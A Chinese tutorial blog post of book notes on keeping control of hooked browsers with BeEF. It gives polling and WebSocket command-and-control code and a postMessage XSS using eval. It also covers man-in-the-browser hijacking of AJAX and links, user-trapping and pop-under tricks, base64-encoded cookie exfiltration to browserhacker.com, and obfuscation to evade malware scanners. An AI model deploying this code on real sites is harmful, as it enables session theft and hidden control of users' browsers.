持续控制

持续控制

通过初始控制,我们进的“大门”,那么如何让“大门”始终为你敞开呢?

理解控制持久化

理想情况下,保持对浏览器的控制不仅意味着断开网络时不失去控制,同时也意味着与用户访问哪个网站不相关。
持久控制可以分两个方面:

  • 持久通信:通过持久的通信渠道,保障对一个或多个浏览器的持续控制。依靠使用不同渠道接触被你控制的服务器。
    • 为了实现持续控制,往往会通过勾连系统调用1,直接在内核甚至驱动程序中注入代码,保证操作系统在重启、更新,甚至在系统清理后,仍然可以持续控制。
    • 勾连浏览器:与目标浏览器建立双向通信渠道的过程。
  • 持久存续:让通信渠道保持畅通,无论用户采取什么动作都不受干扰。

通信技术

通信渠道:

  • 轮询
    客户端不断检查服务器是否有变化或更新。(此时的客户端是被注入到目标浏览器中的JavaScript所控制的,服务器则是攻击者所拥有的依赖轮询的软件。)
  • 需要通信渠道的原因
    • 检测客户端是否断开连接
    • 从服务器向客户端发送新命令

下面介绍几种创建通信渠道的技术。

使用XMLHttpRequest轮询

XMLHttpRequest对象非常适合作为默认的通信渠道,因为所有浏览器都支持它。

  • 基本思路
    通过XMLHttpRequest对象不断创建发送给攻击服务器(比如BeEF)的异步GET请求。
  • BeEF的响应方式
    • 以空响应表示没有新动作
    • Content-length大于0的响应告诉被控制的浏览器执行新的命令
  • 实现
    • 使用JavaScript闭包的JavaScript代码
      • 闭包
        在JavaScript中,是一种特殊对象,既包含函数,又包含创建函数的环境。
        • 示例
            var a=123;
            function exec_wrapper(){      //闭包
              var b=789;
              function do_something(){
                a=456;
                console.log(a);     //456——函数作用域
                console.log(b);     //789——函数作用域
              };
              return do_something
            }
            
            console.log(a);        //123——全局作用域
            var wrapper=exec_wrapper();   //已经运行一次
            wrapper();      //再次执行仍能访问函数域中的b——闭包的特点
          
        闭包会作为环境的一部分,任何在创建时声明的局部变量都包含在内。闭包中的私有变量(通过var声明)在全局作用域中是不可见的,适合添加动态代码。
      • 实现
        • 思想:可以创建一个包装器,把命令模块添加到栈中。每次轮询请求完成,stack.pop()会确保移除栈中最后一个元素,然后执行它。
        • 代码
            commands: new Array(),        //命令栈
            
            execute: function(fn){             //包含器,将命令模块添加到命令栈中
              this.document.push(fn); 
            }
            
            get_commands: function(){     //轮询。如果响应不等于0,调用execute_commands()
              try {
                this.lock=true;            //lock是对象
                //轮询server_host获得新命令
                poll(server_host, function(response){            //poll()是函数
                  if (response.body!=null && response.body.length>0)
                    execute_commands();
                });
              } catch(e) {
                this.lock=false;
                return;
              }
              this.lock=false;
            },
            
            execute_commands: function{        //如果有的话,执行接收到的新命令
              if(commands.length == 0) return;
              this.lock = true;
              while(commands.length > 0) {
                command = commands.pop();
                try {
                  command();       //使用了闭包,即命令模块被封装在了自己的匿名函数中
                } catch(e) {
                  console.error(.message);
                }
              }
              this.lock=false;
            }
          
使用跨站资源共享
  • 使用基础
    • CORS允许Web应用指定不同的来源读取HTTP响应
    • 有一个中心攻击服务器,想让它与访问不同来源的浏览器通信,那利用CORS正合适
  • BeEF
    • 实现基础:BeEF服务器通过以下HTTP头允许来自任何地方的跨域POST和GET请求
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: POST, GET
使用WebSocket通信
  • 示例
    • 通过Ruby Web服务器连接勾连浏览器(RubyWebSocket服务器实现基于EM-WebSocket库(或叫gem))
    • WebSocket服务器代码
        require 'em-websocket'
        EventMachine.run {
          EventMachine::WebSocket.start(
            :host => "0.0.0.0",          //设置监听
            :port => 6666,                //绑定端口
            :secure => false) do |ws|
              begin
              ws.onmessage do |msg|
                p "Received:"
                p "->#{msg}"
                ws.send("alert(1);")
              end
              rescue Exception => e
                print_error "WebSocket error: #{e}"
               end
             end
        }
      
    • 客户端代码
      var socket = new WebSocket("ws://browserhacker.com:6666/");
      socket.onopen = function(){         //信道打开后向服务器发送信息
        console.log("Socket open.");
        socket.send("Server, send me commands.");
      }
      socket.onmessage = function(){      //服务器响应后触发
        f=new Function(msg.data);
        f();
        console.log("Command received and executed.");
      }
      
    • 确定浏览器是否支持WebSocket API或Mozilla
        MozWebSocket:
          hasWebSocket: function(){
            return  !!window.WebSocket || !!window.MozWebSocket
          }
      
      返回True则可以在JavaScript中使用WebSocket。
使用消息传递通信

window.postMessage()也是一种遵循SOP但又能实现跨域通信的原生方法。

  • 流程
    • 在攻击服务器(browserhacker.com)上托管一个IFrame,目标站点为:browservictim.com
      <html>
      <body>
      <b>Embed me on a different origin</b>
      <div id="debug">Ready to receive data...</div>
      <script>
      	window.addEventListener("message", receiveMessage, false);
      	function doClick(){
      		parent.postMessage("Message sent from " + location.host, "http://browservictim.com");
      	}
      	var debug=document.getElementById("debug");
      	function receiveMessage(event) {
      		debug.innerHTML += "Data: " + event.data + "\n Origin: " + event.origin;
      		parent.postMessage("alter(1)",event.origin);
      	}
      </script>
      </body>
      </html>
      
    • 利用目标站点的XSS隐患
      <div id="debug"></div>
      	<div id="ui">
      		<input type="text" id="v" />
      		<input type="button" value="Send to server" onclick="post_msg();"/>
      		//窗体先加载服务器上的代码
      		<iframe id="to_server" src="http://browserhacker.com/postMessage_server.html"></iframe>   
      	</div>
      	<script type="text/javascript">   //注入代码
      	window.addEventListener("message", receiveMessage, false);  //设置监听
      	
      	var infoBar=document.getElementById("debug");   //获得debug对象的引用
      	function receiveMessage(event) {
      		infoBar.innerHTML += event.origin + ": " +event.data + "";  //向制定对象插入内容
      		new Function(event.data)();
      	}
      	
      	function post_msg(domain) {
      		var to_server=document.getElementById("to_server");
      		to_server.contentWindow.postMessage(""+eval(document.getElementById("v").value),"http://browserhacker.com");
      	}
      	</script>		
      
使用DNS隧道通信
  • DNS预存技术:预先加载将来可能用到的资源,从而提高响应速度。
  • 基本思路
    创建一个简单的基于DNS的单向隐蔽信道,把请求发送到设计好的域,而该域被你控制的DNS服务器解析。可以利用这个信道向客户端发送对称密钥,以加密客户端与服务器间后续HTTP请求及响应的数据。

持久化技术

使用内嵌框架
  • 选用原因
    • 可以完全控制内嵌框架的DOM内容,也就是说CSS内容也可以控制;
    • 内嵌框架主要用于在当前页面嵌入其他文档的事实,为持久化通信渠道提供了直截了当的方法。
使用完全叠加层
  • 叠加层:一个页面组建可以在页面上看到,但代码及其他元素在后台并不可见,而是持续执行自己的逻辑。
  • 示例(使用jQuery创建叠加层)
      createIframe: function (type, param, styles, onload) {
        var css={};
        if (type=='hidden') {
          css=$j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
        }
        if (type=='fullscreen') {
          css=$j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles);
          $j('body').css({'padding':'0px', 'margin':'0px'});
        }
        
        var iframe=$j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
        return iframe;
      }
    
    调用:createIframe('fullscreen', {'src':'/login.jsp'}, {}, null);
    修改显示的URL:history.pushState({be:"EF"}, "page x", "/login.jsp");
使用浏览器事件
  • 依赖于处理window对象的onbeforeunload事件,默认由以下条件触发:
    • 触发unload事件
    • 调用window.close或document.close
    • 调用location.replace或location.reload
  • 示例
      function display_confirm() {
      	if (confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")) {                                       //用户点击OK则会不停循环
      		display_confirm();
      	}
      }
      function dontleave(e){
      	e=e || window.event;
      	
      	//IE浏览器语法不同
      	if (browser.isIE()) {
      		e.cancelBubble = true;
      		e.returnValue="There is currently a request to the server pending. You will lose recent changes by navigating away.";
      	} else {
      		if (e.stopPropagation) {
      			e.stopPropagation();
      			e.preventDefault();
      			e.returnValue ="There is currently a request to the server pending. You will lose recent changes by navigating away.";
      		}
      	}
      	
      	//再次确认对话框继续骚扰
      	display_confirm();
      	return "There is currently a request to the server pending. You will lose recent changes by navigating away.";
      }
      
      window.onbeforeunload=dontleave;       //覆盖已经注册的onbeforeunload事件的代码
    
使用底层弹出窗口
  • 底层弹出窗口则出现在当前浏览器窗口后面,大多数现代浏览器默认都会屏蔽这种底层弹出窗口(因为浏览器认为这个新窗口并未经用户操作就打开了)
  • 示例
    • 打开底层弹出窗口
      window.open('http://example.com', 'popunder', 'toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=0, resizable=0, width=1, height=1, left='+screen.width+', top='+screen.height+'').blur();
      window.focus();
      
    • 绕过屏蔽
      • 使用MouseEvents模拟鼠标操作
        • 有一个可以控制的链接,可能是动态创建的,也可能是onClick属性中的一个XSS隐患
            <a id="malicious_link" herf="http://google.com" onclick=" open_link() ">Goo</a>    //点击时执行open_link()
          
        • 在同一页面注入JS代码
            function open_link() {
            	window.open('http://example.com', 'popunder', 'toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=0, resizable=0, width=1, height=1, left='+screen.width+', top='+screen.height+'').blur();
            	window.focus();
            }
            
            function clickLink(link) {
            	var cancelled=false;
            	if (document.createEvent) {
            		var event=document.createEvent("MouseEvents");
            		event.initMouseEvent("click", true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
            		link.dispatchEvent(event);
            	} else if (link.fireEvent) {
            		link.fireEvent("onclick");
            	}
            }
            clickLink(document.getElementById('malicious_link'));
          
        • 添加onClick属性
            // 给页面中所有<a>标签添加onClick属性
            var anchors=document.getElementsByTagName("a");
            for (var i=0; i<anchors.length; i++) {
            	if (anchors[i].hasAttribute("onclick")) {
            		anchors[i].removeAttribute("onclick");      //有onclick属性则先移除
            	}
            	anchors[i].setAttribute("onclick", "$.popunder(aPopunder)")     //设置新的onclick属性
            }
            
            //$.popunder()函数
            var aPopunder = [['http://browserhacker.com', {"windows": {height:1, width:1, left:window.screenX, top:window.screenY}}]];
            $.popunder(aPopunder)
          
使用浏览器中间人攻击

主要是利用AJAX技术。

劫持AJAX请求
  • 目标:劫持AJAX的GET和POST请求
  • 关键:重写内置DOM方法的原型
  • 示例
    • 自定义逻辑重写XMLHttpRequest对象原型的open方法
      init: function (cid,curl){
        beef.mitb.cid=cid;
        beef.mitb.curl=curl;
        /*重写open方法劫持Ajax请求*/
        var xmi_type;
        var hook_file = "<%= @hook_file %>";
        
        if (window.XMLHttpRequest && !(window.ActiveXObject)) {
        	beef.mitb.sniff("Method XMLHttpRequest.open.override");
        	(function (open) {
        		XMLHttpRequest.prototype.open = function(method, url, async, mitb_call) {
        		//忽略,不劫持,属于轮询过程(检测是MitB在发起请求,还是勾连的通信请求)
        			if (mitb_call || (url.indexOf(hook_file) !=-1 || url.indexOf("/dh?")!=-1)) {
        				open.call(this,method,url,async,true);
        			}else{
        				var portRegex=new RegExp(":[0-9]+");
        				var portR=portRegex.exec(url);
        				var requestPort;
        				if (portR!=null) { requestPort = portR[0].split(":")[1];}
        				
        				//GET请求
        				if (method=="GET") {
        					//GET请求->跨源(新标签页中打开资源,保持当前页面的勾连)
        					if (url.indexOf(document.location.hostname)==-1 || (portR!=null && requestPort!=document.location.port )){
        						beef.mitb.sniff("GET [Ajax CrossDomain Requset]: "+url);
        						window.open(url);
        					}else{
        					//GET请求->同源(在当面页面加载资源并显示内容,保证持久勾连)
        						beef.mitb.sniff("GET [Ajax Request]: "+url);
        						if (beef.mitb.fetch(url,document.getElementByTagName("html")[0])){
        							var title="";
        							if (document.getElementsByTagName("title").length==0){
        								title=document.title;
        							}else{
        								title=document.getElementsByTagName("title")[0].innerHTML;
        							}
        							//写出页面url
        							history.pushState({Be:"EF"},title,url);
        						}
        					}
        				}else{
        				// POST请求(直接发送请求)
        					beef.mitb.sniff("POST ajax request to: " + url);
        					open.call(this, method, url, async, true);
        				}
        			}
        		};
        	}) (XMLHttpRequest.prototype.open);
        }
      }
      
劫持非AJAX请求
  • 对于非AJAX请求,MitB代码会预先取得常规资源,篡改链接和表单的默认行为
  • 示例
//通过AJAX取得勾连的链接
fetch:function (url, target) {
	try{
		var y = new XMLHttpRequest();
		y.open('GET', url, false, true);
		y.onreadystatechange = function () {
			if (y.readyState == 4 && y.responseText != "") {
				target.innerHTML = y.responseText;
			}
		};
		y.send(null);
		beef.mitb.sniff("GET: " + url);
		return true;
	} catch (x) {
		window.open(url);
		beef.mitb.sniff("GET [New Window]: " + url);
		return false;
	}
},

//锁定链接,阻止离开
poisonAnchor:function (e) {
	try{
		e.preventDefault;
		if (beef.mitb.fetch(e.currentTarget,document.getElementsByTagName("html")[0])) {
			var title = "";
			if(document.getElementsByTagName("title").length == 0){
				title = document.title;
			}else{
				title = document.getElementsByTagName("title")[0].innerHTML;
			}
			history.pushState({ Be:"EF" }, title, e.currentTarget);
		}
	}catch (e) {
		console.error('beef.mitb.poisonAnchor - failed to execute: '+ e.message);
	}
	return false;
},

var anchors = document.getElementsByTagName("a");
var lis = document.getElementsByTagName("li");

for (var i = 0; i < anchors.length; i++) {
	anchors[i].onclick = beef.mitb.poisonAnchor;
}

for (var i = 0; i < lis.length; i++) {
	if (lis[i].hasAttribute("onclick")) {
		lis[i].removeAttribute("onclick");
		/*清除*/
		lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('"+lis[i].getElementsByTagName("a")[0] + "')");
		/*重写*/
	}
}

躲避检测

使用编码躲避
base64编码
  • 示例
    location.href='http://browserhacker.com?c='+document.cookie
    • base64编码
      eval(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2F0dGF"+"ja2VyLmNvbT9jPScrZG9jdW1lbnQuY29va2ll"));
    • 除去eval
      setTimeout(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2Jyb3"+"dzZXJoYWNrZXIuY29tP2M9Jytkb2N1bWVudC5jb29raWU"));
空白符编码
  • 使用空白字符对ASCII值进行二进制编码
  • 进行编码
def whitespace_encode(input)
	output = input.unpack('B*')
	output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
end

encoded = whitespace_encode("alert(1)")
File.open("whitespace_out.js", 'w'){|f| f.write(encoded)}
  • 进行解码
var whitespace_encoded = " ";
function decode_whitespace(css_space) {
	var spacer = '';
	for(y = 0; y < css_space.length/8; y++){
		v = 0;
		for(x = 0; x < 8; x++){
			if(css_space.charCodeAt(x+(y*8)) > 9){
				v++;
			}
			if(x != 7){
				v = v << 1;
			}
		}
		spacer += String.fromCharCode(v);
	}return spacer;
}
var decoded = decode_whitespace(whitespace_encoded)
console.log(decoded.toString());
window.setTimeout(decoded);
非数字字母JavaScript
  • 示例(JJencode)
    • 编码前:alert(1)
    • 编码后:
      $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$], _$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$], $__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$}; $.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+"\\"+$.$__+$.___+")"+"\"")())();
使用模糊躲避
随机变量和方法
  • 示例
    • 针对每个勾连的浏览器使用散列数据结构
    • 实现
      code = <<EOF
      var malware = {
      	version: '0.0.1-alpha',
      	exploits: new Array("http://malicious.com/aa.js",""),
      	persistent: true
      };
      window.malware = malware;
      function redirect_to_site(){
      	window.location = window.malware.exploits[0];
      };
      redirect_to_site();
      EOF
      
      def rnd(length=5)
      	chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ_'
      	result = ''
      	length.times { result << chars[rand(chars.size)] }
      	result
      end
      
      lookup = {
      	"malware" => rnd(7),
      	"exploits" => rnd(),
      	"version" => rnd(),
      	"persistent" => rnd(12),
      	"0.0.1-alpha" => rnd(10),
      	"redirect_to_site" => rnd(4)
      }
      
      lookup.each do |key,value|
      	code = code.gsub!(key, value)
      end
      
      File.open("result.js", 'w'){|f|f.write(code)}
      
混合对象表示法
  • JavaScript代码中我们通常习惯于用点访问属性,而不习惯于用方括号,但是实际上window.malware.exploits[0]; 等价于 window['malware']['exploits'][0];
时间延迟
  • 恶意软件检测技术经常模拟JavaScript引擎,这些引擎出于性能考虑,往往会忽略setTimeout()或setInterval()的延迟。
  • 示例
var timeout = 10000;
var interval = new Date().getSeconds();
function timer(){             //判断时间
	var s_interval = new Date().getSeconds();
	var diff = s_interval - interval;
	
	if(diff == 10 && diff > 0) key = diff + "aaa"
	if(diff == -10 && diff < 0) key = diff + "bbb"
	
	decrypt(key);   
}
function decrypt(key){
	// 加密程序
	alert(key);
}

setTimeout("timer()", timeout);  在10秒钟的延迟后被调用
混合其他上下文的内容
  • 就是把代码切分成多个部分或上下文,每一部分都需要其他上下文的信息才能起作用。
  • 示例
使用callee属性
  • 在JavaScript中,如果在函数内部调用arguments.callee,则会返回函数自身。(avaScript已经不提倡使用这个属性)
使用avaScript引擎的奇怪特性躲避
  • 知道目标使用的渲染引擎,可以调整模糊技术,通过利用不同渲染引擎间的JavaScript差异,增大反模糊的难度。
  • 示例
    • '\v'=='v':,Trident(IE的引擎)在对下面的代码求值时返回true,而Gecko和WebKit则返回false
    • is_ie=/*@cc_on!@*/false;(条件注释):IE在对这行代码求值,就会将其解释为!false,从而让变量is_ie的值为true,其他浏览器中,由于会把布尔取反操作符看成代码注释,所以变量is_ie的值都将为false。
参考文献

《黑客攻防技术宝典——浏览器》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值